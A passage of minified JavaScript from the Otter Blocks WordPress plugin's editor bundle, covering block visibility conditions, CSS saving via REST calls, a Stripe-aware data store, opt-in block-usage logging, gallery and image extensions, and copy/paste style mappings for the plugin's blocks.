i=[...e.otterConditions],s=(0,p.applyFilters)("otter.blockConditions.defaults",{},t);"userRoles"!==t&&"postAuthor"!==t||(s.visibility=!0),"screenSize"===t&&(s.screen_sizes=[]),i[o][a]="none"===t?{}:{type:t,...s},k({otterConditions:i})})(t.target.value,n,c),className:"components-select-control__input w-full",id:`o-conditions-${n}-${c}`},(0,o.createElement)("option",{value:"none"},(0,s.__)("Select a condition","otter-blocks")),Object.keys(i).map((e=>(0,o.createElement)("optgroup",{label:i[e].label,key:e},i[e].conditions.map((e=>(0,o.createElement)("option",{value:e.value,key:e.value,disabled:e?.isDisabled},e.label)))))))),"userRoles"===r.type&&(0,o.createElement)(a.FormTokenField,{label:(0,s.__)("User Roles","otter-blocks"),value:r.roles,suggestions:Object.keys(window.themeisleGutenberg.userRoles),onChange:e=>y(e,n,c,"roles"),__experimentalExpandOnFocus:!0,__experimentalValidateInput:e=>Object.keys(window.themeisleGutenberg.userRoles).includes(e)}),"postAuthor"===r.type&&(0,o.createElement)(X,{label:(0,s.__)("Post Author","otter-blocks"),value:r.authors,onChange:e=>y(e,n,c,"authors")}),"postCategory"===r.type&&(0,o.createElement)(Q,{label:(0,s.__)("Post Category","otter-blocks"),value:r.categories,onChange:e=>y(e,n,c,"categories")}),"postType"===r.type&&(0,o.createElement)(a.FormTokenField,{label:(0,s.__)("Post Types","otter-blocks"),value:r.post_types,suggestions:Y,onChange:e=>y(e,n,c,"post_types"),__experimentalExpandOnFocus:!0,__experimentalValidateInput:e=>Y.includes(e)}),"screenSize"===r.type&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.ToggleControl,{label:(0,s.__)("Hide on Mobile","otter-blocks"),checked:r?.screen_sizes?.includes("mobile"),onChange:()=>v("mobile",n,c,"screen_sizes")}),(0,o.createElement)(a.ToggleControl,{label:(0,s.__)("Hide on Tablet","otter-blocks"),checked:r?.screen_sizes?.includes("tablet"),onChange:()=>v("tablet",n,c,"screen_sizes")}),(0,o.createElement)(a.ToggleControl,{label:(0,s.__)("Hide on Desktop","otter-blocks"),checked:r?.screen_sizes?.includes("desktop"),onChange:()=>v("desktop",n,c,"screen_sizes")})),"stripePurchaseHistory"===r.type&&(0,o.createElement)(b.Fragment,null,Boolean(window.themeisleGutenberg.hasStripeAPI)&&(0,o.createElement)(q,{product:r.product,onChange:e=>f(e,n,c,"product")}),!Boolean(window.themeisleGutenberg.hasStripeAPI)&&(0,o.createElement)("p",null,(0,s.__)("You need to set your Stripe API keys in the Otter Dashboard.","otter-blocks")," ",(0,o.createElement)(a.ExternalLink,{href:window.themeisleGutenberg.optionsPath},(0,s.__)("Visit Dashboard","otter-blocks")))),(0,p.applyFilters)("otter.blockConditions.controls","",n,c,r,e.otterConditions,k,f),g.includes(r.type)&&(0,o.createElement)(a.SelectControl,{label:(0,s.__)("If condition is true, the block should be:","otter-blocks"),options:[{value:!0,label:(0,s.__)("Visible","otter-blocks")},{value:!1,label:(0,s.__)("Hidden","otter-blocks")}],value:r.visibility,onChange:t=>((t,l,o)=>{const a=[...e.otterConditions];a[l][o].visibility="true"===t,k({otterConditions:a})})(t,n,c)}),(0,o.createElement)(a.Button,{isDestructive:!0,className:"o-conditions__add",onClick:()=>((t,l)=>{const o=[...e.otterConditions];o[t].splice(l,1),0===o[t]&&o.splice(t,1),k({otterConditions:o})})(n,c)},(0,s.__)("Delete Condition","otter-blocks")),1<t.length&&c!==t.length-1&&(0,o.createElement)(ee,{label:(0,s.__)("AND","otter-blocks")})))),(0,o.createElement)(a.Button,{isSecondary:!0,className:"o-conditions__add",onClick:()=>(t=>{const l=[...e.otterConditions];l[t].push({}),k({otterConditions:l})})(n)},(0,s.__)("Add a New Condition","otter-blocks"))),1<e.otterConditions.length&&n!==e.otterConditions.length-1&&(0,o.createElement)(ee,{label:(0,s.__)("OR","otter-blocks")})))),(0,o.createElement)(a.Button,{isSecondary:!0,className:"o-conditions__add",onClick:()=>{const t=[...e.otterConditions||[]];t.push([{}]),k({otterConditions:t})}},(0,s.__)("Add Rule Group","otter-blocks")),(0,p.applyFilters)("otter.blockConditions.notices",""),(0,o.createElement)("div",{className:"o-fp-wrap"},(0,p.applyFilters)("otter.feedback","","conditions"),(0,p.applyFilters)("otter.poweredBy","")))}));const le=(0,Z.createHigherOrderComponent)((e=>t=>(0,o.createElement)(e,{...t,className:f()({"otter-has-condition":t.attributes.otterConditions&&Boolean(t.attributes.otterConditions.length)})})),"withConditionsIndicator");Boolean(window.themeisleGutenberg.hasModule.blockConditions)&&((0,p.addFilter)("blocks.registerBlockType","themeisle-gutenberg/conditions-register",(e=>(e.attributes=(0,c.assign)(e.attributes,{otterConditions:{type:"array",default:[]}}),e))),(0,p.addFilter)("otter.blockTools","themeisle-gutenberg/conditions-inspector",((e,t)=>{const l=Boolean((0,n.select)("core/preferences")?.get("themeisle/otter-blocks","show-block-conditions"));return(0,o.createElement)(b.Fragment,null,e,(0,o.createElement)(a.__experimentalToolsPanelItem,{hasValue:()=>void 0!==t.attributes.otterConditions&&Boolean(t.attributes.otterConditions?.length),label:(0,s.__)("Visibility Conditions","otter-blocks"),onDeselect:()=>t.setAttributes({otterConditions:void 0}),isShownByDefault:l},(0,o.createElement)(te,{...t})))}),3),(0,p.addFilter)("editor.BlockListBlock","themeisle-gutenberg/contextual-indicators",le));var oe=l(5225);let ae=!1;const{createNotice:ne}=(0,n.dispatch)("core/notices"),re=(0,c.debounce)((async()=>{const{getCurrentPostId:e}=(0,n.select)("core/editor"),t=e();ne("info",(0,s.__)("Saving CSS…","otter-blocks"),{isDismissible:!0,type:"snackbar",id:"saving-css"}),await u()({path:`otter/v1/post_styles/${t}`,method:"POST"}),ne("info",(0,s.__)("CSS saved.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:"saving-css"}),ae=!1}),1e3),ie=(0,c.debounce)((async()=>{ne("info",(0,s.__)("Saving CSS…","otter-blocks"),{isDismissible:!0,type:"snackbar",id:"saving-css"}),await u()({path:"otter/v1/widget_styles",method:"POST"}),ne("info",(0,s.__)("CSS saved.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:"saving-css"}),ae=!1}),1e3),se={};(0,n.subscribe)((()=>{if((0,n.select)("core/edit-widgets")){const{isSavingWidgetAreas:e,getEditedWidgetAreas:t}=(0,n.select)("core/edit-widgets");0<t().length&&!ae&&e()&&(ae=!0,ie())}if(Boolean(window.themeisleGutenberg.isBlockEditor)&&(0,n.select)("core/editor")){const{isCurrentPostPublished:e,isSavingPost:t,isPublishingPost:l,isAutosavingPost:o,__experimentalIsSavingReusableBlock:a}=(0,n.select)("core/editor"),{__experimentalReusableBlocks:r}=(0,n.select)("core/block-editor").getSettings(),{isSavingEntityRecord:i}=(0,n.select)("core");let s;s=a?e=>a(e):e=>i("postType","wp_block",e);const c=o(),d=l(),b=t(),m=r||[],p=e();m.forEach((e=>{if(e){const t=s(e.id);t&&!e.isTemporary&&(se[e.id]={id:e.id,isSaving:!0}),t||e.isTemporary||!se[e.id]||e.id===se[e.id].id&&!t&&se[e.id].isSaving&&(se[e.id].isSaving=!1,u()({path:`otter/v1/block_styles/${e.id}`,method:"POST"}))}})),!(d||p&&b)||c||ae||(window.oTrk?.base.uploadEvents(),ae=!0,re())}}));var ce=l(705),de=l.n(ce);const ue={showOnboarding:Boolean(window.themeisleGutenberg.showOnboarding)&&"false"!==window.localStorage?.getItem("o-show-onboarding"),viewType:"Desktop",visiblePopover:"themeisle-blocks/dynamic-value",dynamicData:{},stripeProducts:[],stripeProductsPrices:{}},be={updateView(e){return{type:"UPDATE_VIEW",viewType:e}},showOnboarding(e){return{type:"UPDATE_ONBOARDING",showOnboarding:e}},setVisiblePopover(e){return{type:"UPDATE_POPOVER",visiblePopover:e}},setDynamicData(e,t){return{type:"SET_DYNAMIC_DATA",key:e,value:t}},setStripeProducts(e){return{type:"SET_STRIPE_PRODUCTS",products:e?.data}},setStripeProductPrices(e,t){return{type:"SET_STRIPE_PRODUCT_PRICES",id:e,prices:t?.data}},fetchFromAPI(e){return{type:"FETCH_FROM_API",path:e}}};if((0,n.registerStore)("themeisle-gutenberg/data",{reducer(e=ue,t){return"UPDATE_VIEW"===t.type?{...e,viewType:t.viewType}:"UPDATE_ONBOARDING"===t.type?{...e,showOnboarding:t.showOnboarding}:"UPDATE_POPOVER"===t.type?{...e,visiblePopover:t.visiblePopover}:"SET_DYNAMIC_DATA"===t.type?{...e,dynamicData:{...e.dynamicData,[t.key]:t.value}}:"SET_STRIPE_PRODUCTS"===t.type?{...e,stripeProducts:t.products}:"SET_STRIPE_PRODUCT_PRICES"===t.type?{...e,stripeProductsPrices:{...e.stripeProductsPrices,[t.id]:t.prices}}:e},actions:be,selectors:{getView(e){return e.viewType},isOnboardingVisible(e){return e.showOnboarding},getVisiblePopover(e){return e.visiblePopover},getDynamicData(e,t){const l=de()(t);return e.dynamicData[l]},getStripeProducts(e){return e.stripeProducts},getStripeProductPrices(e,t){return e.stripeProductsPrices?.[t]}},controls:{FETCH_FROM_API(e){return u()({path:e.path})}},resolvers:{*getDynamicData(e){const t=de()(e),l="otter/v1/dynamic/preview/?"+(0,T.Jc)(e),o=yield be.fetchFromAPI(l);return be.setDynamicData(t,o)},*getStripeProducts(){const e=yield be.fetchFromAPI("otter/v1/stripe/products");return be.setStripeProducts(e)},*getStripeProductPrices(e){const t="otter/v1/stripe/prices/"+e,l=yield be.fetchFromAPI(t);return be.setStripeProductPrices(e,l)}}}),window.themeisleGutenberg.dataLogging={},Boolean(window.themeisleGutenberg.isBlockEditor)&&(0,n.select)("core/editor")){let e=!1,t=!1,l=[],o=[];const a=e=>-1<l.indexOf(e.name),r=e=>{if(e.innerBlocks){const t=e.innerBlocks.filter(a);o.push(...t),t.forEach(r)}};window.wp.api.loadPromise.then((()=>{(new window.wp.api.models.Settings).fetch().then((e=>{e.otter_blocks_logger_data&&Boolean(window.themeisleGutenberg.canTrack)&&(window.themeisleGutenberg.dataLogging=e.otter_blocks_logger_data)}))}));const i=(0,c.debounce)((async()=>{const{getEditorBlocks:e}=(0,n.select)("core/editor");let t=e();t=t.filter(a);const l=e=>{if(e.innerBlocks){const o=e.innerBlocks.filter(a);t.push(...o),o.forEach(l)}},r={...window.themeisleGutenberg.dataLogging};if(0<t.length&&r.blocks){t.forEach(l),t=t.map((e=>e.name));const e=[];t.forEach((t=>{const l=e.find((e=>e.name===t));l?l.instances=l.instances+1:e.push({name:t,instances:1})}));const a=[...e],n=[...o];a.map((e=>{const t=n.find((t=>t.name===e.name));return t&&e.instances>=t.instances?(e.instances=e.instances-t.instances,e):e})),0===r.blocks.length?r.blocks=[...a]:(r.blocks.map((e=>{const t=a.find((t=>t.name===e.name)),l=a.findIndex((t=>t.name===e.name));return t?(e.instances=e.instances+t.instances,a.splice(l,1),e):e})),0<a.length&&(r.blocks=[...r.blocks,...a]))}const i=new window.wp.api.models.Settings({otter_blocks_logger_data:r});await i.save()}),1e3);(0,n.subscribe)((()=>{const{getBlockTypes:s}=(0,n.select)("core/blocks"),{__unstableIsEditorReady:c,getEditorBlocks:d,isAutosavingPost:u,isCurrentPostPublished:b,isEditedPostNew:m,isPublishingPost:p,isSavingPost:g}=(0,n.select)("core/editor"),h=u(),k=p(),y=g(),f=b(),v=s();if(l=v.filter((e=>"themeisle-blocks"===e.category)).map((e=>e.name)),(k||f&&y)&&!h&&Boolean(window.themeisleGutenberg.canTrack)&&(t=!0,i()),!e&&c()&&!m()&&!t&&Boolean(window.themeisleGutenberg.canTrack)){e=c(),o=d(),o=o.filter(a),o.forEach(r),o=o.map((e=>e.name));const t=[];o.forEach((e=>{const l=t.find((t=>t.name===e));l?l.instances=l.instances+1:t.push({name:e,instances:1})})),o=t}}))}var me=l(7701),pe=l.n(me),ge=l(2285);const he=(0,Z.createHigherOrderComponent)((e=>t=>"core/gallery"===t.name?(0,o.createElement)(b.Fragment,null,(0,o.createElement)(e,{...t}),!!t.attributes.images.length&&(0,o.createElement)(E.InspectorControls,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Images","otter-blocks"),initialOpen:!1},(0,o.createElement)(ge.Z,{attributes:t.attributes,onSelectImages:e=>{t.setAttributes({images:e.map((e=>({id:e.id,url:e.url,alt:e.alt,caption:e.caption})))})}})))):(0,o.createElement)(e,{...t})),"withGalleryExtension");pe()((()=>{Boolean(window.themeisleGutenberg?.isLegacyPre59)&&(0,p.addFilter)("editor.BlockEdit","themeisle-gutenberg/gallery-extension",he)}));var ke=({BlockEdit:e,props:t})=>(0,o.createElement)(b.Fragment,null,(0,o.createElement)(E.InspectorControls,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Masonry","otter-blocks"),initialOpen:!1},(0,o.createElement)(a.ToggleControl,{label:(0,s.__)("Masonry Layout","otter-blocks"),help:(0,s.__)("Toggle on to transform your boring gallery to an exciting masonry layout. It should be noted that the masonry layout only works in the frontend.","otter-blocks"),checked:t.attributes.isMasonry,onChange:()=>{const e=!t.attributes.isMasonry;t.setAttributes({isMasonry:e})}}),t.attributes.isMasonry&&(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Margin","otter-blocks"),value:t.attributes.margin,onChange:e=>{t.setAttributes({margin:e})},min:0,max:20}))),(0,o.createElement)(e,{...t}));const ye=(0,Z.createHigherOrderComponent)((e=>t=>"core/gallery"===t.name&&t.attributes?.isMasonry?(0,o.createElement)(ke,{BlockEdit:e,props:t}):(0,o.createElement)(e,{...t})),"withMasonryExtension");(0,p.addFilter)("blocks.registerBlockType","themeisle-gutenberg/masonry-extension-attributes",(e=>("core/gallery"===e.name&&(e.attributes=(0,c.assign)(e.attributes,{isMasonry:{type:"boolean",default:!1},margin:{type:"number"}})),e))),(0,p.addFilter)("editor.BlockEdit","themeisle-gutenberg/masonry-extension",ye);var fe=l(80),ve=l.n(fe),_e=l(8721),Ce=l(2136);window.hexToRgba=ve();var we=({BlockEdit:e,props:t})=>{const{attributes:l,setAttributes:r}=t,i=(0,n.useSelect)((e=>e("core/block-editor").getBlocks().filter((e=>"core/image"===e.name&&void 0!==e.attributes.anchor)).map((e=>e.attributes.anchor))),[]);(0,b.useEffect)((()=>{if(l.boxShadow){if(!l.anchor||1!==i.filter((e=>e===l.anchor)).length){const e=`wp-block-themeisle-blocks-image-${(0,_e.Z)().substr(0,8)}`;r({anchor:e})}}else l.anchor&&l.anchor.includes("wp-block-themeisle-blocks-image-")&&r({anchor:void 0})}),[l.boxShadow]);const[c,d]=(0,oe.useCSSNode)();return(0,b.useEffect)((()=>{d([l.boxShadow?`img {\n\t\t\t\tbox-shadow: ${l.boxShadowHorizontal}px ${l.boxShadowVertical}px ${l.boxShadowBlur}px ${l.boxShadowColor?l.boxShadowColor.includes("#")&&0<=l.boxShadowColorOpacity?ve()(l.boxShadowColor,l.boxShadowColorOpacity||1e-5):l.boxShadowColor:ve()("#000000",void 0!==l.boxShadowColorOpacity?l.boxShadowColorOpacity||1e-5:1)}\n\t\t\t}\n\t\t\t`:""])}),[l.boxShadowHorizontal,l.boxShadowVertical,l.boxShadowBlur,l.boxShadowColor,l.boxShadowColorOpacity,l.boxShadow]),(0,o.createElement)(b.Fragment,null,(0,o.createElement)(e,{...t,className:t.className+` ${c}`}),(0,o.createElement)(E.InspectorControls,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Box Shadow","otter-blocks"),initialOpen:!1},(0,o.createElement)(a.ToggleControl,{label:(0,s.__)("Shadow Properties","otter-blocks"),checked:l.boxShadow,onChange:e=>{r({boxShadow:e})}}),l.boxShadow&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)(E.__experimentalColorGradientControl,{label:(0,s.__)("Color","otter-blocks"),colorValue:l.boxShadowColor,onColorChange:e=>{r({boxShadowColor:100>l.boxShadowColorOpacity&&l.boxShadowColor?.includes("var(")?getComputedStyle(document.documentElement,null).getPropertyValue(e?.replace("var(","")?.replace(")","")):e})}}),(0,o.createElement)(Ce.Z,{label:(0,s.__)("Shadow Properties","otter-blocks")},(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Opacity","otter-blocks"),value:l.boxShadowColorOpacity,onChange:e=>{const t={boxShadowColorOpacity:e};100>e&&l.boxShadowColor?.includes("var(")&&(t.boxShadowColor=getComputedStyle(document.documentElement,null).getPropertyValue(l.boxShadowColor.replace("var(","").replace(")",""))),r(t)},min:0,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Blur","otter-blocks"),value:l.boxShadowBlur,onChange:e=>{r({boxShadowBlur:e})},min:0,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Horizontal","otter-blocks"),value:l.boxShadowHorizontal,onChange:e=>{r({boxShadowHorizontal:e})},min:-100,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Vertical","otter-blocks"),value:l.boxShadowVertical,onChange:e=>{r({boxShadowVertical:e})},min:-100,max:100}))))))};const Ee=(0,Z.createHigherOrderComponent)((e=>t=>"core/image"===t.name&&t.attributes.url?(0,o.createElement)(we,{BlockEdit:e,props:t}):(0,o.createElement)(e,{...t})),"withImageExtension");(0,p.addFilter)("blocks.registerBlockType","themeisle-gutenberg/image-extension-attributes",(e=>("core/image"===e.name&&(e.attributes=(0,c.assign)(e.attributes,{boxShadow:{type:"boolean",default:!1},boxShadowColor:{type:"string",default:"#000000"},boxShadowColorOpacity:{type:"number",default:50},boxShadowBlur:{type:"number",default:5},boxShadowHorizontal:{type:"number",default:0},boxShadowVertical:{type:"number",default:0}})),e))),(0,p.addFilter)("editor.BlockEdit","themeisle-gutenberg/image-extension",Ee);var xe=l(1070).l;const Se=(0,Z.createHigherOrderComponent)((e=>t=>"core/navigation-link"!==t.name&&"core/navigation-submenu"!==t.name||!t.isSelected?(0,o.createElement)(e,{...t}):(0,o.createElement)(b.Fragment,null,(0,o.createElement)(e,{...t}),(0,o.createElement)(E.BlockControls,null,(0,o.createElement)(xe,{label:(0,s.__)("Menu Icon by Otter","otter-blocks"),classes:t.attributes.className,setAttributes:t.setAttributes})))),"withInspectorControl");(0,p.addFilter)("editor.BlockEdit","themeisle-menu-icons/with-blocks-controls",Se);var Te=l(9630);const Be={"themeisle-blocks/advanced-columns":{copy(e){return{shared:{padding:{desktop:e.padding,tablet:e.paddingTablet,mobile:e.paddingMobile},margin:{desktop:e.margin,tablet:e.marginTablet,mobile:e.marginMobile},border:{radius:{desktop:e.borderRadius},width:e?.border},colors:{background:e.backgroundColor,backgroundGradient:e.backgroundGradient,border:e?.borderColor},type:{background:e.backgroundType},layout:{verticalAlignment:e?.verticalAlign}},private:{...(0,c.pickBy)(e,((e,t)=>t?.includes("background")||t?.includes("boxShadow")||t?.includes("divider")||t?.includes("columnsHeight")||t?.includes("columnsWidth")||t?.includes("reverseColumnsTablet")||t?.includes("layout")))}}},paste(e){const t=e.shared;return{...e.private,padding:t?.padding?.desktop,paddingMobile:t?.padding?.mobile,paddingTablet:t?.padding?.tablet,margin:t?.margin?.desktop,marginTablet:t?.margin?.tablet,marginMobile:t?.margin?.mobile,borderRadius:t?.border?.radius?.desktop,backgroundColor:t?.colors?.background,backgroundGradient:t?.colors?.backgroundGradient,backgroundType:(0,T.nG)([["gradient"===t?.type?.background,"gradient"],["color"]]),borderColor:t?.colors?.border,border:t?.border?.width,verticalAlign:t?.layout?.verticalAlignment}}},"themeisle-blocks/advanced-column":{copy(e){return{shared:{padding:{desktop:e.padding,tablet:e.paddingTablet,mobile:e.paddingMobile},margin:{desktop:e.margin,tablet:e.marginTablet,mobile:e.marginMobile},border:{radius:{desktop:e?.borderRadius},width:e?.border},colors:{background:e?.backgroundColor,backgroundGradient:e.backgroundGradient,border:e?.borderColor},type:{background:e.backgroundType}},private:{...(0,c.pickBy)(e,((e,t)=>t?.includes("background")))}}},paste(e){const t=e.shared;return{...e.private,padding:t?.padding?.desktop,paddingMobile:t?.padding?.mobile,paddingTablet:t?.padding?.tablet,margin:t?.margin?.desktop,marginTablet:t?.margin?.tablet,marginMobile:t?.margin?.mobile,backgroundColor:t?.colors?.background,borderRadius:t?.border?.radius?.desktop,border:t?.border?.width,backgroundGradient:t?.colors?.backgroundGradient,backgroundType:t?.type?.background,borderColor:t?.colors?.border}}},"themeisle-blocks/button-group":{copy(e){return{shared:{padding:{desktop:{top:(0,T.Yj)(e.paddingTopBottom),bottom:(0,T.Yj)(e.paddingTopBottom),left:(0,T.Yj)(e.paddingLeftRight),right:(0,T.Yj)(e.paddingLeftRight)},tablet:e.paddingTablet,mobile:e.paddingMobile},font:{size:(0,T.Yj)(e.fontSize),family:e.fontFamily,variant:e.fontVariant,transform:e.textTransform,style:e.fontStyle,lineHeight:e.lineHeight}},private:{align:e.align,spacing:e.spacing,collapse:e.collapse}}},paste(e){const{shared:t}=e;return{...e.private,paddingTopBottom:t?.padding?.desktop?.top,paddingLeftRight:t?.padding?.desktop?.left,paddingTablet:t?.padding?.tablet,paddingMobile:t?.padding?.mobile,fontSize:t?.font?.size,fontFamily:t?.font?.family,fontVariant:t?.font?.variant,fontStyle:t?.font?.style,textTransform:t?.font?.transform,lineHeight:t?.font?.lineHeight}}},"themeisle-blocks/button":{copy(e){return{shared:{colors:{border:e.border,text:e.color},border:{width:(0,T.Yw)(e.borderSize),radius:{desktop:(0,T.Yw)(e.borderRadius)}}},private:{...(0,c.pickBy)(e,((e,t)=>t?.includes("hover")||t?.includes("background")||t?.includes("boxShadow")))}}},paste(e){const{shared:t}=e;return{...e.private,border:t?.colors?.border,color:t?.colors?.text,borderSize:t?.border?.width,borderRadius:t?.border?.radius?.desktop}}},"themeisle-blocks/font-awesome-icons":{copy(e){return{shared:{colors:{border:e.borderColor,text:e.textColor,background:e.backgroundColor},border:{width:(0,F.rO)((0,F.Nn)(e.borderSize,"px")),radius:{desktop:(0,F.rO)((0,F.Nn)(e.borderRadius,"px"))}},padding:{desktop:(0,F.rO)((0,F.Nn)(e.padding,"px"))},margin:{desktop:(0,F.rO)((0,F.Nn)(e.margin,"px"))},font:{size:(0,F.Nn)(e.fontSize,"px")}},private:{...(0,c.pickBy)(e,((e,t)=>t?.includes("Hover"))),align:e?.align}}},paste(e){const{shared:t}=e;return{...e.private,borderColor:t?.colors?.border,textColor:t?.colors?.text,borderSize:(0,F.wS)((0,F.it)(t?.border?.width)),borderRadius:(0,F.wS)(t?.border?.radius?.desktop?.top),margin:(0,F.wS)(t?.margin?.desktop?.top),padding:(0,F.wS)(t?.padding?.desktop?.top),fontSize:(0,F.wS)(t?.font?.size),backgroundColor:t?.colors?.background}}},"themeisle-blocks/icon-list":{copy(e){return{shared:{colors:{text:e.defaultContentColor},font:{size:isNaN(e.defaultSize)?e.defaultSize:(0,F.Nn)(e.defaultSize,"px")}},private:{gap:e?.gap,defaultIconColor:e?.defaultIconColor,horizontalAlign:e?.horizontalAlign,alignmentTablet:e?.alignmentTablet,alignmentMobile:e?.alignmentMobile,hasDivider:e?.hasDivider,dividerColor:e?.dividerColor,dividerLength:e?.dividerLength,dividerWidth:e?.dividerWidth,gapIconLabel:e?.gapIconLabel}}},paste(e){const{shared:t}=e;return{...e.private,defaultContentColor:t?.colors?.text,defaultSize:t?.font?.size}}},"themeisle-blocks/icon-list-item":{copy(e){return{shared:{colors:{text:e.contentColor}},private:{iconColor:e?.iconColor}}},paste(e){const{shared:t}=e;return{...e.private,contentColor:t?.colors?.text}}},"themeisle-blocks/accordion":{copy(e){return{shared:{colors:{background:e.contentBackground,border:e.borderColor}},private:{titleColor:e?.titleColor,titleBackground:e?.titleBackground}}},paste(e){const{shared:t}=e;return{...e.private,contentBackground:t?.colors?.background,borderColor:t?.colors?.border}}},"themeisle-blocks/progress-bar":{copy(e){return{shared:{colors:{text:e?.titleColor,background:e?.backgroundColor},height:{desktop:(0,F.Nn)(e?.height,"px")},border:{radius:{desktop:(0,F.rO)((0,F.Nn)(e?.borderRadius,"px"))}},font:{size:e?.titleFontSize}},private:{barBackgroundColor:e?.barBackgroundColor,percentageColor:e?.percentageColor,percentagePosition:e?.percentagePosition,titleStyle:e?.titleStyle}}},paste(e){const{shared:t}=e;return{...e.private,titleColor:t?.colors?.text,backgroundColor:t?.colors?.background,height:(0,F.wS)(t?.height?.desktop),borderRadius:(0,F.wS)(t?.border?.radius?.desktop?.top),titleFontSize:t?.font?.size}}},"themeisle-blocks/tabs":{copy(e){var t;return{shared:{colors:{text:e?.activeTitleColor,background:e?.tabColor,border:e?.borderColor},border:{width:e?.borderWidth},padding:{desktop:e?.contentPadding}},private:{...null!==(t=(0,c.pickBy)(null!=e?e:{},((e,t)=>t?.includes("boxShadow")||t?.includes("Color")||t?.includes("Size")||t?.includes("Padding")||t?.includes("Width"))))&&void 0!==t?t:{}}}},paste(e){const{shared:t}=e;return{...e.private,activeTitleColor:t?.colors?.text,tabColor:t?.colors?.background,borderColor:t?.colors?.border,borderWidth:t?.border?.width,contentPadding:t?.padding?.desktop}}},"themeisle-blocks/flip":{copy(e){var t;return{shared:{colors:{background:e?.frontBackgroundColor,border:e?.borderColor},border:{width:(0,F.rO)((0,F.Nn)(e?.borderWidth,"px")),radius:{desktop:(0,c.isNumber)(e?.borderRadius)?(0,F.rO)((0,F.Nn)(e?.borderRadius,"px")):e?.borderRadius}},width:{desktop:(0,c.isNumber)(e?.width)?(0,F.Nn)(e?.width,"px"):e?.width},height:{desktop:(0,c.isNumber)(e?.height)?(0,F.Nn)(e?.height,"px"):e?.height},padding:{desktop:(0,c.isNumber)(e?.padding)?(0,F.rO)((0,F.Nn)(e?.padding,"px")):e?.padding},font:{size:(0,F.Nn)(e?.titleFontSize,"px")}},private:{...(0,c.omit)(null!==(t=(0,c.pickBy)(e,((e,t)=>t?.includes("boxShadow")||t?.includes("front")||t?.includes("back")||t?.includes("Color")||t?.includes("FontSize"))))&&void 0!==t?t:{},["frontMedia"]),animType:e.animType}}},paste(e){const{shared:t}=e;return{...e.private,frontBackgroundColor:t?.colors?.background,borderColor:t?.colors?.border,borderWidth:(0,F.wS)((0,F.it)(t?.border?.width)),borderRadius:(0,F.wS)(t?.border?.radius?.desktop?.top),width:(0,F.wS)(t?.width?.desktop),height:(0,F.wS)(t?.height?.desktop),padding:(0,F.wS)(t?.padding?.desktop?.top),titleFontSize:(0,F.wS)(t?.font?.size)}}},"themeisle-blocks/form":{copy(e){var t;return{shared:{colors:{text:e?.labelColor,border:e?.inputBorderColor},font:{size:(0,T.Yj)(e?.labelFontSize)},border:{width:(0,T.Yw)(e?.inputBorderWidth),radius:{desktop:(0,T.Yw)(e?.inputBorderRadius)}},padding:{desktop:e?.inputPadding,tablet:e?.inputPaddingTablet,mobile:e?.inputPaddingMobile}},private:{...null!==(t=(0,c.pickBy)(e,((e,t)=>t?.includes("FontSize")||t?.includes("Color")||t?.includes("Width")||t?.includes("Gap")||t?.includes("Style"))))&&void 0!==t?t:{}}}},paste(e){const{shared:t}=e;return{...e.private,labelColor:t?.colors?.text,labelFontSize:t?.font?.size,inputBorderColor:t?.colors?.border,inputBorderRadius:t?.border?.radius?.desktop,inputBorderWidth:t?.border?.width,inputPadding:t?.padding?.desktop,inputPaddingTablet:t?.padding?.tablet,inputPaddingMobile:t?.padding?.mobile}}},"themeisle-blocks/circle-counter":{copy(e){return{shared:{height:{desktop:(0,F.Nn)(e?.height,"px")},font:{size:(0,F.Nn)(e?.fontSizeTitle,"px")},colors:{text:e?.titleColor,background:e?.backgroundColor}},private:{...(0,c.pick)(e,["titleStyle","fontSizePercent","strokeWidth","progressColor","titleStyle"])}}},paste(e){const{shared:t}=e;return{...e.private,height:(0,F.wS)(t?.height?.desktop,100),fontSizeTitle:(0,F.wS)(t?.font?.size),titleColor:t?.colors?.text,backgroundColor:t?.colors?.background}}},"themeisle-blocks/review":{copy(e){var t;return{shared:{colors:{text:e?.textColor,background:e?.backgroundColor},padding:{desktop:e?.padding,tablet:e?.paddingMobile,mobile:e?.paddingTablet},border:{width:(0,F.rO)((0,F.Nn)(e?.borderWidth,"px")),radius:{desktop:(0,F.rO)((0,F.Nn)(e?.borderRadius,"px"))}}},private:{primaryColor:e?.primaryColor,buttonTextColor:e?.buttonTextColor,boxShadow:e?.boxShadow,...null!==(t=(0,c.pickBy)(e,((e,t)=>t?.includes("Color")||t?.includes("Font"))))&&void 0!==t?t:{}}}},paste(e){const{shared:t}=e;return{...e.private,textColor:t?.colors?.text,backgroundColor:t?.colors?.background,borderWidth:(0,F.wS)((0,F.it)(t?.border?.width)),borderRadius:(0,F.wS)((0,F.it)(t?.border?.radius?.desktop)),padding:t?.padding?.desktop,paddingTablet:t?.padding?.tablet,paddingMobile:t?.padding?.mobile}}},"themeisle-blocks/advanced-heading":{copy(e){var t;return{shared:{colors:{text:e?.headingColor},font:{size:(0,c.isNumber)(e?.fontSize)?(0,F.Nn)(e?.fontSize,"px"):e?.fontSize,family:e?.fontFamily,variant:e?.fontVariant,style:e?.fontStyle,letterSpacing:(0,c.isNumber)(e?.letterSpacing)?(0,F.Nn)(e?.letterSpacing,"px"):e?.letterSpacing,lineHeight:e?.lineHeight,align:e?.align,transform:e?.textTransform},padding:{desktop:(0,c.isObjectLike)(e?.padding)?e?.padding:{top:(0,F.Nn)("unlinked"===e?.paddingType?e?.paddingTop:e?.padding,"px"),bottom:(0,F.Nn)("unlinked"===e?.paddingType?e?.paddingBottom:e?.padding,"px"),right:(0,F.Nn)("unlinked"===e?.paddingType?e?.paddingRight:e?.padding,"px"),left:(0,F.Nn)("unlinked"===e?.paddingType?e?.paddingLeft:e?.padding,"px")},tablet:(0,c.isObjectLike)(e?.paddingTablet)?e?.paddingTablet:{top:(0,F.Nn)("unlinked"===e?.paddingTypeTablet?e?.paddingTopTablet:e?.paddingTablet,"px"),bottom:(0,F.Nn)("unlinked"===e?